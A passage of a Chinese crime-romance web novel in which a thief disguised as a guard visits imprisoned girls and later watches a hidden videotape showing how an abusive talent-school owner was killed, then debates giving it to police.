铁栅栏门像一面冰冷的分界线,将监室内和监室外分成了两个不同的世界。 “小刘”透过栅栏缝隙看监室内。 坑坑洼洼的水泥地,被画的乱七八糟的蓝白墙。 上下铺挤在一块,没有铺盖。入夏后,这里大概会蚊虫乱飞,溢出浓重的汗臭气。 就这样一个狭长且拥挤的空间,竟然关了十二个人。 被关的女孩,有的闭着眼睡着了。有的睁着眼,眼神却十分空洞,像灵魂睡着了。 “小刘”深吸一口气,插入钥匙,拧开锁,打开门。 门因为生锈,发出吱呦的声音。有女孩听到动静朝“他”瞥了眼,就一眼,然后又回到原来的状态,好像什么都没发生。 “小刘”的额头滑下冷汗。现在这种情况,“他”觉得自己这趟很可能会一无所获。 不过,万事总有转机。 “小刘”毕竟是走狗屎运的人。 “他”进门后,监室角落里,一个高个儿女孩缓缓地站了起来。 这女孩对面的人轻声喊她:“王颖,你怎么了?” 声音细微,但还是没逃过“小刘”身经百战的耳朵。 “他”看过去。 心头登时发紧。 这个王颖,“他”竟然认识! 王颖与“小刘”四目相对,也十分吃惊:“你,你不是狱警……” 没等她说完,“小刘”赶紧穿越两排上下铺,小跑过去,打断她:“嘘,小声点,这里不隔音,都是栅栏门。” 这会儿,满屋子女孩的视线都落在了“小刘”身上,包括那些看起来已经闭眼睡着的。 王颖捂住嘴,眼眶“唰”的红了。 “你,你是……Nancy?” 第26章 看守所 “小刘”点头:“是我……领班。” 没错,王颖便是景天大酒店A座的服务生领班,她上次与“小刘”见面的时侯,“小刘”还是保洁南希,而她在扮演裸身派对的美少女战士“火野丽”。 王颖打量南希,握住她的手腕,五指禁不住发抖。 “Nancy……你怎么会在这儿?为什么这身打扮?” 这俩问题,其实南希也想问她,可大脑“嗡”的一声,陷入了空白,她从周围一双双眼睛里感受到了一种炙热的期待,几乎要把她融化。 她咽了下口水,鬼使神差地,说出了她们所期待的那句话。 “领班,我是来救你们的……” 造孽! 逞什么英雄?! 她个重大刑事案件嫌疑犯,拿什么救她们?! 听了这话,有女孩眼睛红了,吸着鼻子凑上来。 “你也知道我们的苦,觉得我们做了正确的事,对吗?” 她不知道…… 南希微笑:“嗯,不过,你也可以再详细讲一讲。” 可没等那女孩开口,王颖就用力拽过南希,满脸不敢置信:“你真要救我们?” 说完,她恍然意识到南希背后的关系,想到她突然以服务生的身份出现在景天,又突然以保洁的身份出现在裸身派对,现在还突然以一个让她更意想不到的身份出现在看守所……她就像电视剧里无所不能的女主角…… 或许,她真能救她们…… 南希心里慌,避开王颖的目光,没有回答。 不过王颖已经替她找好了答案,她认真地说:“Nancy,那天的派对结束后,我被王有才带去了一座别墅,当时我什么都不懂,又太害怕,不小心就把他给……总之,一人做事一人当,我留下,你救她们出去,你可以跟警察说王有才是我杀的,这样她们身上的嫌疑就洗清了,不算越狱……” 领班上铺的女孩爬下来。 “王颖,你不准再说这种话!这事儿咱们说好的一起扛,那就必须一起扛!” “是啊,而且这也不是你一个人的事!” “我被王有才骗了这么多年,活下去的唯一理由就是想看到他遭报应!” “是啊,现在他终于遭报应了!王颖,你就是我们的大恩人,我们不会丢下你不管的!” “反正都是被关着,在这儿关着总比在王有才那儿强!” “对,你不走我就不走! “要走一起走!” …… 女孩们的话一句接一句,一句叠在一句,如同大海里翻涌的浪涛。 南希只觉得混乱。 按温雪生的消息,警察认定的王有才案嫌疑犯是“红发女鬼”。可听这些女孩的意思,那嫌疑犯像是成了王颖,或者说,是她们之中的更多人…… “等等,”南希制止她们,她急需一个安静的环境理清思绪,“你们慢慢说,再这样乱下去,会引来人的,到时候我也帮不了你们。” 周围的嘈杂声顿时消失。 南希转头瞅对面的监室,不幸中的万幸,里面没关人。 她利用这短暂的时间,把女孩们的话捋顺,然后串成了一个故事。而这个故事勾起了她参加王有才培训班面试的记忆。 她听到自己心脏的跳动声。 如果所有事因果相连、厉害相关,那么,王有才的确该死。 紧贴裤缝儿的手掌攥成了拳头,她沉沉地开口:“你们放心,我既然答应救你们,就一定会做到。不过我说的救并不是帮你们越狱,而是给你们脱罪,我会请最好的律师,让你们正大光明地走出看守所……” 然而,声音越说越弱。 南希发现,刚刚还激动不已的,那一双双眼睛,一点点没了光。 那从上铺下来的女孩拍拍南希的肩膀:“谢谢,只是,我们不可能正大光明地走出去了。”她眼里有几分悲壮,“王有才其实是被我们一起弄死的,我们一人一刀,把他扎成了筛子,他的血淌了一地,淌到我们的脚尖,渗近我们的脚指甲盖里,我们每个人都是凶手,都有份儿。” 南希的心跳声盖过了对方的话声,她下意识垂下眼睛,隐约瞧见女孩们像涂着红框指甲油的脚趾头…… 是洗不掉的血渍…… 她思考了两分钟,抬起头:“我领班说,王有才是她杀的,你说王有才是你们合伙杀的。可我这还有一个说法,王有才是那个制造连环盗窃案的‘红发女鬼’杀的。诶,这个说法,不知道你们有没有听过?” 女孩们的视线在她说话期间相互交错。 南希观察到,那些视线里有紧张、有迷离,唯独没有震惊。 她们听过。 那个上铺女孩再次开口:“这是警察对外公布的消息?” 好像还没对外公布,不过,估计也就这几天的事儿。 南希点头:“‘红发女鬼’已经是王有才案的犯罪嫌疑人。” 女孩们再次当着她的面,视线交错。 南希明白这里面有秘密,试探:“看来你们也知道这件事呀。但你们最好别抱太大希望,据我了解,‘红发女鬼’只偷东西,从不杀人,这个案件很有可能是栽赃陷害。连我一个普通人都这样想,警察不会想不到。” 一旁吸鼻子的女孩突然情绪激动:“如果‘红发女鬼’因为要偷王有才的东西,误杀了他呢?” 南希按捺住惊讶:“什么意思?” “王有才死后,我们发现他最宝贝的白玉佛不见了,他本来一直挂脖子上……” 上铺女孩打断她:“好了,你说这些做什么?” “……花姐,我……”吸鼻子的女孩低下头,双手攒在一起,不再出声。 好不容易有了点儿跟任务有关的消息,南希哪肯放弃,表情严肃起来。 “如果真想让我救你们,首先,你们得信任我,要是可能的话,最好把王有才被害当晚发生的事一五一十地告诉我。” 然而,没有人回应。 南希发现,其实女孩们早已做好坐牢的准备。 而对于她的营救,只是一时产生的,不切实际的幻想。 她呼了口气,决定使出最后的招数:“不说也没关系,因为我已经看过王有才的监控录像……” 这句话还没过半,她又听到了那上铺女孩花姐的声音:“不可能!监控明明被打坏了!” 打坏了? 南希眯起眼。 虽然事情没按原计划发展,但鱼饵还是发挥了作用。 小鱼已经上钩。 “哦?监控是被谁打坏的?”南希收鱼竿。 花姐愣住。 “不会是被一个头发很长,腿也很长的高个儿女孩一拳打坏的吧?”南希把小鱼放进水桶。 “不说话,我就当你承认了?”她微笑着注视自己的小鱼。 花姐双唇抿紧,她从没想过,除了被关在这的姐妹,还会有别人知道这件事。毕竟那天晚上,她们连警察都瞒过去了。 “你,你是怎么知道的?” 南希挑眉:“我说了,我看过王有才的监控。” 气氛陷入紧张。 狭长的监室里,二氧化碳的浓度似乎已经超越了氧气,女孩们快要喘不动气。 王颖便在这时重新开口。 “Nancy,别说了……你来这的时间有些久了,万一被巡逻的狱警发现就坏了。”她握紧南希的手,一字一顿,“谢谢你今天能来,你的恩情我们记下了。至于我们,就交给命运吧。你,快走吧。” 南希蹙眉,凝视她,许久,回复:“好。” 她转身,在十二个女孩复杂的目光下走出029监室。 空旷的走廊里再次回荡起“吱呦”的声音。 南希手中动作迅速,很快把铁栅栏门锁好。 然后,她径直向前,跟路过的狱警点头打招呼,避开整个看守所唯一的CCTV。 再然后,她拐弯走过长廊,走向看守所大厅,走出四扇贴着红字的大玻璃门,走进茫茫黑暗,走入一处杂草丛生的墙角。 杂草里有一只睡得正酣的大橘猫,它躺在一个温暖的肉垫上,看起来十分舒坦。 南希把它抱下来,给那个肉垫换好狱警制服。 橘猫双爪伸直,发出一声悠长的“喵”。 它睁开了眼,金黄色瞳仁里,一抹翩飞的红跟闪电似的,一晃而过。 * 济阳区看守所三公里外的旱厕。 南希从口袋掏出一个血迹斑斑的纸团。 那是王颖在与她握手时,趁机塞进她手里的。 她小心翼翼地展开,生怕把这张皱巴巴的纸团弄碎了。 纸团里写着一句话,南希从中闻到了人血的腥味: 真相在—— * 二月十八,凌晨。 济东北郊,独栋别墅。 一道黑影越过警戒线,潜入别墅三层,出现在一副画像前。 画里是贼眉鼠眼的腊肠人王有才。一半脸迎着月光,一半脸裹着黑暗,门牙是一半的,笑容也是一半的。 那黑影站在画像前看了许久,迟迟没再有下一步动作,就像是在等人。 五分钟后,她耳廓微动,捕捉到身后气流极其细微的变动——她等的人终于到了。 没有任何预兆,身体像骤然释放的弹簧,她左臂出击,同时右腿疾扫,借势钳住对方手腕猛力下拉,膝盖撞向对方腰腹,将这人彻底砸到地面。 “咳,咳咳,张南希!他妈的,我不跟你一般见识,你还来真的啊!”对方突然握紧她的小臂。 南希一怔,衬着月光,瞧见了被她按住的人。 刀疤脸! 手松了。 “李管事……怎么是你?!” “妈的,你没看清就揍人啊?!”李管事推开南希,拍拍身上的土,起身,“我还想问怎么是你呢?!你到底是不是大学生啊?!怎么身手这么厉害?!” 南希自知闯了货,双腿并拢,连连鞠躬道歉:“不好意思不好意思,我不知道是您,我还以为是……” 李大发:“你还以为是‘红发女鬼’?” 南希:“哈?” 李大发:“下午我给少爷打电话,他让我盯紧开运全羊馆。你猜怎么着,那个馆子可邪乎了,我先后看到好几个‘红发女鬼’,后面还去了群想捉她的警……” 南希截断他的话:“等等,温大少不是让您盯全羊馆吗?您来这干什么?” 她右眼皮直跳。 李大发:“你听我讲完啊!警察走了没多久,竟然又从全羊馆里跳出来个‘红发女鬼’——” 这时,一道衣服摩擦的窸窣声隐藏在李大发的话中,正悄悄逼近。 “——我实在忍不住了,就跟着那个女鬼到了……” 隐隐约约的,南希瞧见李大发脑袋后面,多出了一张惨白的人脸。 她下意识喊出声:“别说了,注意身……” 第27章 声东击西 然而,她的话与李大发的话都没能讲完。 那白脸人以手作刀,直直砍在李大发后脑勺上。下一秒,这位看似勇猛的刀疤脸,如软泥一般,再次瘫倒在地。 事发突然,活命要紧,南希顾不得害怕,攒拳摇臂,冲着那张脸狠狠砸去。 哪料对方早有防备,双脚点地倒退,两臂缓缓圆转,以柔和之力将她拼尽全力的拳头化解在无形的空气里。 太极? 和细高跟服务生,在景天使的招式一模一样! 南希脱口:“又是你!” 对方从脸上撕下一张薄薄的纯白面具,露出红润妩媚的面容:“又是我?哦,是我是我,诶,你等等、等等!别踢我啊!我不是来跟你打架的!” 知道她不是鬼,南希有了胆子:“管你来干什么,你装神弄鬼,反正不怀好意!”说着,她又是一个扫腿。 对方闪躲,眼神左瞥:“你要不要看看那边有什么东西?” 南希转头,看向左手方向。 与此同时,那细高跟服务生从她右手边飞速绕到身后,等她反应过来时,对方的身体已经挡在王有才画像之前,嘴角高高扬着:“这幅画,你刚刚看了老半天,我猜,这后面藏着你从看守所拿到的秘密。” 好一个声东击西。 南希冷冷瞪她,几乎咬牙切齿:“你猜错了。” “是吗?”她举手向后,指尖勾到镶金画框,“那就让我取下来看一看。” 已经没有任何人、任何事能阻止她。 画像被顺利取下。 只不过,跟她料想的不同,画像背面,以及画像所覆盖的墙上,都是一片空白。 对方脸色变了:“不可能,一定有秘密……” 南希嗤笑:“我说过,你猜错了。”她扫视周围,“真奇怪,这个房间没装监控,好像是整栋别墅唯一一间呢。” “王有才怎么会给自己的卧室装监控?”对方的双眼对上南希的视线,心里倏的一沉——这视线里不知什么时候多了几分戏谑。 她语气严肃,“看来,你比我想象中的要谨慎不少。” “唉,这还不是因为你,”南希摊手,“今晚在小树林跟你分开后,这一路实在太顺利了,顺利到我的右眼皮一直在跳。我就琢磨,到底是左眼跳财右眼跳灾,还是右眼跳财左眼跳灾?诶,你说是左眼跳财还是右眼跳财?” 细高跟服务生被饶了进去:“嗯……左眼跳财右眼跳灾……”声音顿了下,“你究竟想说什么?” 南希笑笑:“看来你也不记得了。不过没关系,反正我觉得,哪个眼皮跳都不是什么好事,这表明我的神经过于紧绷,也表明第六感在提醒我,今晚的事不正常。 “你用白玉佛把我引到全羊馆,又在全羊馆制造危机让我追你去小树林,然后给我指出看守所的线索,这算计的,一环套一环,也太缜密了些。你这是想利用我,拿到王颖藏在别墅里的秘密啊呀。” 对方表情难看:“你比我想象中的也要聪明。” 南希啧啧两声:“瞧你这话说的,干我们这一行,靠体能更靠脑子,哪有不聪明的?不过这两样,你好像也不差,要不我介绍你加入我们,咱一起赚大钱?” 对方:“多谢好意,只是如果我加入你们的话,某个人会哭。” 南希:“谁?张笑远吗?” 对方没再回答,而是说:“我不是你的敌人,也无意为难你,就像你所说的,我只是想通过你拿到王颖的秘密。我知道现在说这些你不会相信,为了证明我的诚意,我愿意用白玉佛与你交换这个秘密。” 她拉开胸前拉链,从脖子上摘下一块光泽油润的开心佛像。 南希眼睛放亮:“真能换吗?” 同一时间,一根银针穿破黑暗,精准地扎在对方的脖颈处。 那细高跟服务生瞳孔一紧,身体朝前扑去。 南希及时接住她,扶她靠上墙根。 她的眉心皱着,却依然好看,确实是个大美人。 南希收好袖口的麻醉枪,帮美人抚平眉心,然后取走她攥手里的佛像。 “对不起了,你有那么多块白玉佛,我实在不知道你是不是又在骗我。”她起身,目光随着墙上的画框印痕慢慢往下,直到落在一张红木圆桌上,“我看的呀,一直都不是那幅画。这世上,不是只有你学过《孙子兵法》,会用声东击西。” 她打开圆桌的玻璃门,里面有个堆着杂物的竹编筐。她又拨开杂物,从筐子里取出一个小型录像机。 “我领班用指尖血写下,托付给我的秘密,又怎么能是一块小小的白玉佛可以交换的?” * 一个小时后,奔驰E320停在温沙城堡门口。 王姐、孙老太,还有俩南希已经忘了名字的中年男人迎了出来。 南希熄火下车,指指后座:“李管事睡着了,麻烦你们把他搬进去。” 王姐神情复杂。 孙老太连连点头。 南希讪讪:“那个,少爷在吗?” 话音没落,她就听到城堡里面传来女人的吆喝:“少爷,您慢点!这大半夜的,您穿这么少出去会感冒的!” 然后,一个纯白的、瘦高的身影急匆匆地出现在城堡大门。 南希嘟囔:“的确穿得少了点。” 她跑过去。 跟在少爷后面的妈子也在跑。 两人几乎一起跑到少爷跟上,只不过一个在前,一个在后。 南希眼神往后瞟,伸手夺过妈子怀抱的棉外套,一抖,踮起脚尖,给温雪生披到肩上。 “她说得对,你这样真会感冒。” 温雪生攥住外套的毛领子,语气生硬:“谁让你来我这的?” “额……我吵你休息了?” 温雪生不作声,只瞪她。 南希想起小张拉面门口,那个被录像带小贩拦下的凌乱背影,小声回:“那个,我也不想来你这……只是,我实在不知道除了这儿,还能把李管事送哪儿……他被人打晕了,我总不能丢下他不管吧……”她见温雪生眉心打起结,赶紧摆手,“但是你放心,我给他报仇了,打他的人也让我打晕了!” 可温雪生还是生气了:“我是想问这个吗?!” 南希眨巴眼。 “……那是什么?” 温雪生收回视线,转身:“进去说。” 南希喊他:“等等,去哪儿?你房间吗?”她左右乱扫,扫到一双双八卦的眼睛。 边上什么时候多了这么多人…… 她果然还是更喜欢爬窗户去他的床,“那个,都看着呢,咱们这样不太好吧……既然李管事送到了,我就先走了,还有正事儿……” 温雪生:“什么事?” “……看个东西。” “在我这不能看?” 温雪生侧脸。 城堡的水晶灯勾勒着他高挺的鼻梁和流畅的下颌线。 南希本就不坚固的防线瞬间被攻破。 “也不是不能……” 两人便一前一后上了楼,只留下满堂的窃窃私语。 王姐走进来:“你们吵什么吵,少爷的事也敢议论?都给我管好自己的嘴!”她站在挑空的中厅,抬头望向三楼,觉得今天真是开了眼了,她还从没见那个性格乖戾阴森的少年,像刚才那样柔软过。 孙老太也进来了,在她耳边说:“王姐,这事儿我可不知道啊……” 王姐没理她。 她肯定不知道,勾引少爷这种事怎么会有人乱说。 孙老太自顾自:“自打少爷的脸好了,谁见了不夸一句比明星都好看,小张也是有福气啊……” 王姐想起与南希的第一次见面。那时她就觉得这小姑娘不单纯,还以为是哪个势力派来的奸细,没想到不是奸细,而是个狐狸精。 她瞅了孙老太一眼:“还乱讲?刚才没说着你是吧?!我平时就是太惯着你了,你看看你这带进来的是什么人?!少爷要是出了啥事你得负责!”,骂完,她扭着步子迈上大理石楼梯,一阶又一阶,不知不觉穿过一排排盆栽梅花,停在一扇雕刻浮夸的弓形木门前。 她吁了口气,敲门:“少爷?您要不要来点夜宵?” “少爷?我让王妈做点?” “少爷?” 门开了条缝儿。 一只水灵灵的眼睛探出。 “王姐,温大少说,让您回去歇着……” 王姐正要回话,听到房间里传来一道很沉的声音: “你还忘了一句。” 然后,眼前的大眼睛扭扭捏捏地又开了口,“那个……那个,他还说……今晚他不想再看到您……” 对方的声音忽然压低,“王姐,这可都是他说的,我只负责转达啊!我看,您还是走吧,他那个臭脾气您又不是不知道……” 南希阖上了门,有些怨愤地看向温雪生。 那个冷傲的少年正斜靠着书桌,显得更冷傲了。 “以后这种事你自己说,太得罪人……” 温雪生与她对视:“你怕得罪人?” “古人云,朋友千个少,敌人一个多,不想死得快,就少得罪人。” “哪个古人说的?” “前半段来自不知名古人,后半段出自20世纪末的南希。” 温雪生冷声:“……可你不怕得罪我。” 南希眯起眼睛:“额……” 温雪生:“你要知道,得罪我,比得罪他们,要严重得多。” 南希发现他那张过分帅气的面孔过分严肃,赶紧眨眼点头,“对,对!你是大少爷嘛……” 她不想再继续这个幼稚的话题,扑过去搂住了他。 温雪生比她高一头,她的脸堪堪埋在他的锁骨处,刘海蹭着他的脖颈,就像在给他挠痒痒。 温雪生忍受着,哪怕身体已经隐隐颤抖。 而南希继续挠:“小生生,你还难受吗?” 好多了。 他想这样说,却在说出口前,想起一盒落在地上的录像带。 话又咽回肚子。 他昂起头,推开南希:“你是想知道,我还有没有体力被你玩弄,对吗?” 第28章 真相 …… 他又在别扭什么? 南希快要对他失去耐心,虽然他真的好看,比她见过的所有男人都好看,时间也久,比她交过的所有男朋友都要久…… 耐心好像又回来一些。 她冲温雪生微笑:“小生生,我不明白你的意思。” 温雪生转身,背对她。 他不相信她不懂,他难受生病,身体虚弱,便没法陪她玩那些她喜欢的事了……可看她眼神,又好像真的没听懂…… 几秒钟后,温雪生妥协,空气里出现了一句沉沉的“你要看什么?” 话题过于跳跃,南希顿了好一会儿才反应过来,自己之前跟他说有正事,要看个东西。 她从背包里掏出一台Hi8摄像机,绕到温雪生面前,递给他:“看这个。” “Hi8?” “嗯。” 南希走到床边,一头扎了进去,然后翻了个身,四仰八叉地躺在温雪生蓬松的大床上。 “小生生,你不知道我今天经历了多少事儿……我碰到了一个很厉害的人,还差点撞上警察……然后,我跑了趟看守所,见到了好多被关在里面的女孩,其中一个女孩我竟然认识,是我的领班王颖……她给了我一张用血写的纸条,让我去找这个摄像机……” 温雪生沉默。眼前,南希闭着眼睛,头发散了一床。 他不喜欢别人坐自己的床,尤其对方还穿着被灰尘沾染过的外套。 但他的注意力竟然只在她的脸上。她似乎,很疲惫。 “小生生,我来这之前,就想着赶紧把李管事送过来,然后看看摄像机都录了什么……” 温雪生继续沉默。 他听出她的声音比之前弱,心想她这样疲惫,这样着急想看摄像机,为什么在见到他时,说的第一句话却是: “你的确穿得少了点。” “小生生,你怎么不理我?”南希抬起脑袋瞧他,没瞧出什么异常,又瘫下去,“……你说,我要不要看看摄像机里录了什么呀?” “你不是……”温雪生发现自己的嗓子哑了,清了清喉咙,“你不是很着急看吗?” “唉,是呀……”南希望着天花板,“我的确很着急,可当我真的能看的时候,又不敢看了……” 昨天,她在公共旱厕,握着那张血迹斑斑的字条,愣了很久。上面写着:真相在别墅三楼,王有才被杀前叫我去他房间等他,我害怕,提前把摄像机藏在了画像下的圆桌里。摄像机记录了当晚发生的所有事。帮我交给一个合适的警察。 王颖明明有很多次机会把摄像机交给警察,但是她没有,甚至到最后,都是托别人帮她完成这件事。 为什么? 难道对她来讲,这个真相比那满是血迹的纸团,更加鲜血淋淋? “……唉,算了,我不看了,不看了……” 反正白玉佛已经到手…… 南希呼了口气,从口袋里摸出白玉佛,举在眼前,映着天花板上的水晶吊灯,瞧见白玉里面均匀柔和的云絮,“好漂亮,这个应该是真的了。” 说着,她盘腿坐了起来。 温雪生背对她,站在电视机前。 南希看到他在忙碌着什么,那动作…… 是从台摄像机里取磁带的动作! 他正在把磁带塞进播放器! “喂!”南希心里一紧,喊他,“谁让你动我东西了?我都说了不看了!” 温雪生没回头,按下了播放键。 电视机屏幕闪烁起雪花点。 “温雪生!”南希第一次真的对他生气,“你耳朵坏了?”她光着脚跳下床,想去关掉机器。 这时,电视屏幕上的雪花消失了,画面稳定下来。 色彩有些褪色,但很清晰。画面里是王有才别墅的主卧,镜头对着墙边的沙发和王有才的两米双人床。 王颖穿着条亮浅黄针织连衣裙,裙摆随着她的动作轻轻晃动。 她小心翼翼地把摄像机放进圆桌里的竹编篮,用里面的杂货遮挡镜头,调整了好几次角度。弄完这些后,她走到沙发边坐下,双手紧张地绞在一起,不时抬头看向门口。 南希倒抽一口冷气,猛地扑到温雪生身边,抓住他的胳膊,把脸埋在他绵软的睡衣袖子上。 “关掉!我不看!快关掉!”她声音发闷,带着颤抖,“这太私密了……” 但温雪生没动。 李大发去王有才别墅前给他来过电话。南希救下李大发,应该就是在这栋别墅。以此推理,这台摄像机是南希从别墅带出来的。看她这样紧张,摄像机磁带里很有可能记录了王有才临死之前的事。而这些事,或许会是洗清‘红发女鬼’杀人嫌疑的唯一线索。 他必须要看。 温雪生的目光死死锁在屏幕上。 南希的余光也无法控制地扫向电视。 画面里,门开了。 一个细细长长、穿不合身西装的中年男人侧身进了屋——是王有才。 王有才反手锁上门,油亮的头发在灯光下反光。 他笑着对王颖说了句什么,露出被烟熏黄的牙齿。 王颖局促地站起来,往后退了半步。王有才招手,示意她坐去床边。王颖摇头,脚下没动。王有才脸上的笑收了些,走过去拉她的手腕,把她往床边带。两人似乎在争辩,但录像没录到声音,只能看到王有才嘴皮翻动,王颖则一直试图挣脱他的手,手腕都被捏红了。 接着,王有才搂住了王颖的腰,另一只手开始在她身上摸索,从肩膀滑到后背,又从后背揉到前胸。 王颖用力推他,头拼命向后仰,费劲避开他凑过来的脸。 画面外,南希下颌绷紧,呼吸加重,那抓着温雪生胳膊的手指渐渐泛白。 温雪生拍拍她,以示抚慰,然后他犹豫了会儿,按了暂停键。 “这些画面确实有些私密,不是我该看的。”他转身走到窗边,望向窗外沉重的夜色,“剩下的录像,我听,你看。” “嗯。”南希点了点头,“我也觉得你不要看了……”她从边上拖过一个沙发椅,跳上去,身子蜷起,把头靠在双膝中间,继续播放录像。 画面中,两人的缠斗变得更激烈了。 王有才占据上风,把王颖压倒在床,那腊肠一样的身体迅速覆了上去。 王颖的脑袋在画面边缘晃动,而王有才怼在她脸上,弓起的背部挡住了大部分动作。 突然,王有才猛地弹了起来,捂了住嘴,看起来像是被咬了舌头。 他的表情瞬间狰狞,抬手就给了王颖一个耳光。 王颖的嘴角渗出一缕血红,下一秒,她整个人被彻底压倒在床,上衣被扯破,下衣被褪到膝盖,白花花的皮肤裸露而现。 到了这一步,王有才已经急不可耐,开始单手撕扯自己的腰带。 同一时间,王颖胡乱地在床头柜上摸索,恰好抓过一个玻璃台灯,用尽全力砸向了王有才的侧脑。 王有才的动作凝固了,眼睛瞪得很大,然后像袋沙子似的栽倒下去,瘫在王颖身上。 深色的液体从他额角渗出,顺着太阳穴淌下来,污染了王颖胸口那片浅黄色的内衣。 王颖顿了下,随即哭着推开王有才瘫软的身体,连滚带爬地冲出镜头范围。 这时,电视里突然有了声音,南希听到了王颖嘶哑的尖叫。 屏幕空了几秒,只有王有才一动不动趴在床边,血液还在慢慢流,流到床上,流到木地板上。 很快,门又被推开。 两三个穿着舞台亮片服装、妆化得很浓的女孩探头进来。她们看到地上的男人,愣了一下。其中一个迅速跑出镜头,没一会儿搀着还在崩溃的王颖又出现了。 另一个女孩抽出几张纸巾,帮王颖擦拭胸口的血迹,还从旁边椅子上抓过一件外套给她披上。 南希皱起眉,这女孩她见过,就是看守所住王颖上铺的那个花姐。 画面还在继续。 花姐伸手探了探王有才的颈侧,又凑近听了听他的呼吸和心跳,这样反复确认了几次后,她抬起头,对着镜头外的女孩们,脸上缓缓展开了一个清晰无比的笑容——如释重负,甚至带着一丝快意。 然后,更多的女孩涌进了这间满地鲜血的房间,挤得画面都有些满了。 王颖被女孩扶着胳膊带了出去,她整个人都在发抖,路也走不稳。 一个瘦瘦小小的女孩与她擦肩而过、进了屋。那女孩手里拿着一把细长的尖头刀,就是后厨常见的那种切肉刀。 她看着周围的姐妹们。 她们彼此交换着眼神,没有人说话。 与此同时,花姐把王有才拖下地,用脚翻正。 那拿刀女孩见了,深吸了口气,胸口剧烈地起伏,像是下定了某种决定。 然后,她蹲下身,举起刀,狠狠地朝王有才的左胸扎了下去。 王有才一动不动,应该是彻底死透了。 女孩拔出刀,鲜血立刻顺着刀口涌出,浸湿了王有才的浅色衬衫。 很快,第二个女孩接刀,她的手在抖,但同样蹲下,同样用力地刺下去。接着是第三个,第四个……她们一个接一个,沉默地、有序地,每人都给了那个早已成为死尸的身体一刀。 鲜血彻底蔓延开,在地板上积成一滩粘稠的、反光的深色镜面,慢慢扩散到一双双赤裸的脚上…… 半个小时后,南希看完了全部有用画面。 她呆坐了一会儿才伸手按下停止键,脸色不知什么时候变得跟墙一样白。 “小生生……”她轻声唤温雪生,“你可以过来了。” 温雪生没说话,但走到了她身边。 南希仰头,看看温雪生冷峻的侧脸,又看看蓝色的电视屏幕,一把抓住他的胳膊。 “磁带里的声音你应该都听到了……她们每个人,都动手了……这样一盘磁带,你说,我该交给警察吗?” 录象播放完的嗡鸣声,在寂静的房间里格外清晰。 温雪生任南希抓着自己,面无表情,只有微微起伏的胸口,显示着他并非无动于衷。 “冷静下来。”他说,“现在,你需要用脑子而不是情绪。你最好从头到尾想一遍磁带里的每一个画面,然后再决定是否交给警察。” 南希深呼吸,像是刚从水下挣扎出来。她松开温雪生,手指按住自己突突跳的太阳穴,闭上了眼睛。 大概过了一分钟,她重新睁开眼,眸子里的混乱褪去,锐光渐聚。 “台灯。”她开口,声音虽然有点沙,却十分清楚,“王有才的致命伤是王颖的那一下。玻璃台灯砸到了他的额头,血当时就涌出来了,量大,流速快,他倒下去的僵硬,是瞬间失去意识的表现。 “花姐,就是录像里那个领头的,她探过王有才的颈动脉,也听过呼吸,她的表情可以确认王有才已经死了,所以,王有才的确是被王颖砸死的。” 第29章 重磅消息 温雪生没看过完整录象,不知道具体的人和事,却也在脑海里描绘出了一幅令人胆战的画面。他问:“你刚刚说,她们每个人都动手了,是什么意思?” 南希回答:“你没见那个场景,实在有些吓人……王有才死后,别墅里的女孩不但没慌,反而很兴奋,她们每个人都捅了王有才一刀,像是在对一个已经失去生命的躯体进行……处置,或者说,泄愤……” 温雪生顿了下,目光落在电视的蓝屏上:“那么,发生这些后,我听到有人还说了什么。”他在提示南希。 南希蹙眉,极力还原画面里无声的唇语:“后来……花姐抱住了王颖,但不像是安慰,她是在告诉她什么,或者说是在骗她……花姐不停地摇头,否定王有才还活着的可能性,她指着王有才的尸体对王颖说,人没死透,所以她们一起动手把他彻底了结了……” 南希抬起头,“她们竟然能做到这一步!为了不让王颖独自面对整件事的后果,她们故意让王颖认为自己没有杀人,认为自己砸向王有才的那一下,只是诱发女孩们集体复仇的导火索!她们把王颖拉进了自己的阵营,同时也在用这种方式保护她!” 温雪生沉默了片刻,又问:“她们为什么这么恨王有才?王有才都做了什么?” 他的声音依旧没什么起伏,却像锤子一样敲在每个关键点上。 南希眼底冰凉,一字一顿:“囚禁。以明星培训班为诱饵的欺骗,还有,性剥削。” 温雪生继续:“据我掌握的情报,王有才的培训班好像一直在扩招。” “对。这正说明他的可怕!”南希略激动,“他名气大,又有声誉,那些追梦的女孩,哪怕一开始觉得培训班不对劲,也会说服自己相信他。 “后面,她们发现上当受骗,一切就都晚了。王有才的别墅装满了监控,他极有可能用监控拍到的情色画面要挟她们,然后把她们都困在别墅。这或许,也是多年来没人敢举报他的一个重要原因……而且,那些女孩们早就失去正常的生活,即使举报了,也回不去了…… “但一年一年下来,她们心里难免积怨。王颖的反抗,是她们一直想做而不敢做的。正因为王颖这个初来乍到的新人,误打误撞冲破了河堤的一角,女孩们的怨愤才像洪水一样才不受控制,泛滥决堤!”南希的语速越来越快,说到最后突然顿住,恍然大悟似地沉吟,“所以,在看守所里,她们才会对王颖说’谢谢’……” 温雪生静静地听她讲完,抛出新的问题:“按这个说法,她们这是决定与王颖共同承担后果?她们知道逃不掉,所以报了警?” “对,报警的也是花姐。”南希立刻回答,“她很冷静,处理完现场,统一完说辞后,就报警了。” 温雪生:“那为什么,后来又会牵扯到‘红发女鬼’?” 南希记起那个细高跟服务生,她并没有在这个磁带画面里看到她,也没在看守所里看到她。 此外,还有一个疑点,女孩们说起红发女鬼时,神情是非常紧张的…… 为什么?她想不通。 南希摇了摇头:“磁带只能录到那个房间的画面,至于后面的嫁祸,没有记录。可能是在报警前,她们故意布置了疑点?或者只是警方初期调查时的一个错误方向?……” 没有结论。 两人陷入短暂的沉默,只有电器低低的运行声。 温雪生终于将目光从屏幕移开,落在南希脸上。 “所以,这盘录像带是你在王颖的引导下拿到的?她让你交给警察?” 南希迎上他的目光:“小生生,你真的很聪明。我想,王颖在看守所里,有时间想明白了一切。她让我把磁带交给警察,百分百是想纠正这个错误,她要自己承担那致命一击的责任,把其他人摘出去。而她之所以犹豫到现在才交出这个线索,我想,是因为她怕磁带里的血腥画面反而成为所有人的罪证……” 还有,那里面有她被王有才强暴的裸漏镜头,她那么骄傲的一个人,哪忍得了这种耻辱?交出这个证据,相当于在她的伤口上撒盐,相当于对她的公开处刑! 但是,想到这,问题又回到了原点。 王颖鼓起勇气、亲手撕开的伤疤,她到底该不该让警察看到? 南希站起身,来回踱了两步,手指无意识地相互敲着。 